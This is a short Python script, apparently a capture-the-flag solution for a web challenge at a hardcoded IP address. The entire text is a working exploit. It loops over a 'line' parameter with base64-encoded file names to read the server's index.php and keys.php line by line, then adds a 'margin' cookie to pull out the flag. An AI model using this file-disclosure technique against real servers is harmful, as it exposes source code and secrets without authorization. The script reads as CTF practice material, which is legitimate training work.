?> import requests for a in range(0,100): index_url = 'http://123.206.87.240:8002/web11/index.php?line='+str(a)+'&filename=aW5kZXgucGhw' session = requests.session() index = session.get(index_url) if index.text!="": print(index.text) else: break;
for a in range(0,100): flag_url = 'http://123.206.87.240:8002/web11/index.php?line='+str(a)+'&filename=a2V5cy5waHA=' cook = { 'margin':'margin' } flag = session.get(flag_url,cookies=cook) if flag.text!="": print(flag.text) else: break